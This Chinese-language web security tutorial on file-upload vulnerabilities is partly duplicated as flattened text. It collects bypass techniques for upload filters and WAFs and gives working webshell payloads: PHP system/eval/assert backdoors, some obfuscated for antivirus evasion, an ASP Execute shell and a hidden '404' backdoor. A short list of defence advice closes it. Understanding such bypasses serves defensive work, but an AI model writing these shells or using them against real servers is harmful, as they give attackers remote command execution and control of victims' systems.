Web安全 -- 上传漏洞讲解
字数 1239 2025-08-29 08:31:53

Web安全 - 文件上传漏洞全面解析与绕过技术

一、文件上传漏洞概述

文件上传漏洞是Web安全中最常见且危害极大的漏洞之一,攻击者通过精心构造的上传文件可以获取服务器控制权。本文将全面解析文件上传漏洞的各种绕过技术。

二、验证机制与绕过方法

1. 前端验证绕过

验证特点:使用JavaScript在客户端验证文件类型、大小等

绕过方法

  • 截断上传:直接修改HTTP请求或禁用JS
  • 构造上传:编写HTML表单直接调用上传接口
<form action="upload.php" method="post" enctype="multipart/form-data">
  <input type="file" name="file">
  <input type="submit" value="Upload">
</form>

2. 后端验证绕过

(1) 文件名验证绕过

黑名单绕过

  • 使用非常见后缀:.cer、.asa、.cdx
  • 大小写混合:.PhP、.aSp
  • 添加特殊字符:shell.php.shell.php
  • 双重扩展名:shell.php.jpg

白名单绕过

  • 利用解析漏洞:shell.asp;.jpg (IIS6.0)
  • 空字节截断:shell.php%00.jpg

(2) 文件内容验证绕过

文件头伪造

  • 添加合法文件头:
GIF89a
<?php system($_GET['cmd']); ?>

内容混淆

  • 使用编码/加密:base64、rot13
  • 关键词混淆:<?php $a="ev"."al";$a($_POST['c']); ?>

(3) Content-Type绕过

修改Content-Type为合法类型:

Content-Type: image/gif

3. WAF绕过技术

方法

  • 垃圾数据填充:在文件开头添加大量无用数据
  • 多文件上传:利用多个文件字段混淆WAF
  • 协议混淆:GET/POST方法混合使用
  • 删除Content-Type:移除或修改Content-Type头

三、组合利用技术

1. 配合文件包含漏洞

上传.txt文件并通过包含执行:

include($_GET['file']);

访问:/index.php?file=upload/shell.txt

2. 利用服务器解析漏洞

IIS 6.0

  • 目录解析:/upload.asp/shell.jpg 会被当作ASP执行
  • 分号解析:shell.asp;.jpg 会被当作ASP执行

Apache

  • 从右向左解析:shell.php.rar 可能被当作PHP执行

3. 利用系统特性

  • Windows自动去除末尾点和空格:shell.php.shell.php
  • Linux下特殊字符:shell.p\h\p

四、免杀技术实例

1. ASP免杀小马

GIF89a
<% 
' 混淆关键词
Execute(Request("cnsec"))
%>

保存为.cer后缀

2. PHP免杀技术

极简后门

<?php $_GET[a]($_GET[b]);?>

使用:/shell.php?a=system&b=whoami

404隐藏后门

<?php @preg_replace("/[checksql]/e",$_POST['cnsec'],"saft"); ?>
header('HTTP/1.1 404 Not Found');

字符串拼接

<?php 
$a = "a"."s"."s"."e"."r"."t"; 
$a($_POST["sz"]);
?>

五、防御建议

  1. 使用白名单验证文件扩展名
  2. 文件重命名(避免用户控制文件名)
  3. 限制上传目录执行权限
  4. 检查文件内容(不仅检查文件头)
  5. 使用病毒扫描接口
  6. 设置合理的上传大小限制
  7. 禁用危险函数(如eval、assert)

六、总结

文件上传漏洞的绕过技术多种多样,防御需要多层次的安全措施。安全人员需要了解各种绕过技术才能构建有效的防御体系。记住:永远不要信任用户上传的任何内容!

Web安全 - 文件上传漏洞全面解析与绕过技术 一、文件上传漏洞概述 文件上传漏洞是Web安全中最常见且危害极大的漏洞之一,攻击者通过精心构造的上传文件可以获取服务器控制权。本文将全面解析文件上传漏洞的各种绕过技术。 二、验证机制与绕过方法 1. 前端验证绕过 验证特点 :使用JavaScript在客户端验证文件类型、大小等 绕过方法 : 截断上传 :直接修改HTTP请求或禁用JS 构造上传 :编写HTML表单直接调用上传接口 2. 后端验证绕过 (1) 文件名验证绕过 黑名单绕过 : 使用非常见后缀:.cer、.asa、.cdx 大小写混合:.PhP、.aSp 添加特殊字符: shell.php. 、 shell.php 双重扩展名: shell.php.jpg 白名单绕过 : 利用解析漏洞: shell.asp;.jpg (IIS6.0) 空字节截断: shell.php%00.jpg (2) 文件内容验证绕过 文件头伪造 : 添加合法文件头: 内容混淆 : 使用编码/加密:base64、rot13 关键词混淆: <?php $a="ev"."al";$a($_POST['c']); ?> (3) Content-Type绕过 修改Content-Type为合法类型: 3. WAF绕过技术 方法 : 垃圾数据填充 :在文件开头添加大量无用数据 多文件上传 :利用多个文件字段混淆WAF 协议混淆 :GET/POST方法混合使用 删除Content-Type :移除或修改Content-Type头 三、组合利用技术 1. 配合文件包含漏洞 上传.txt文件并通过包含执行: 访问: /index.php?file=upload/shell.txt 2. 利用服务器解析漏洞 IIS 6.0 : 目录解析: /upload.asp/shell.jpg 会被当作ASP执行 分号解析: shell.asp;.jpg 会被当作ASP执行 Apache : 从右向左解析: shell.php.rar 可能被当作PHP执行 3. 利用系统特性 Windows自动去除末尾点和空格: shell.php. → shell.php Linux下特殊字符: shell.p\h\p 四、免杀技术实例 1. ASP免杀小马 保存为 .cer 后缀 2. PHP免杀技术 极简后门 : 使用: /shell.php?a=system&b=whoami 404隐藏后门 : 字符串拼接 : 五、防御建议 使用白名单验证文件扩展名 文件重命名(避免用户控制文件名) 限制上传目录执行权限 检查文件内容(不仅检查文件头) 使用病毒扫描接口 设置合理的上传大小限制 禁用危险函数(如eval、assert) 六、总结 文件上传漏洞的绕过技术多种多样,防御需要多层次的安全措施。安全人员需要了解各种绕过技术才能构建有效的防御体系。记住:永远不要信任用户上传的任何内容!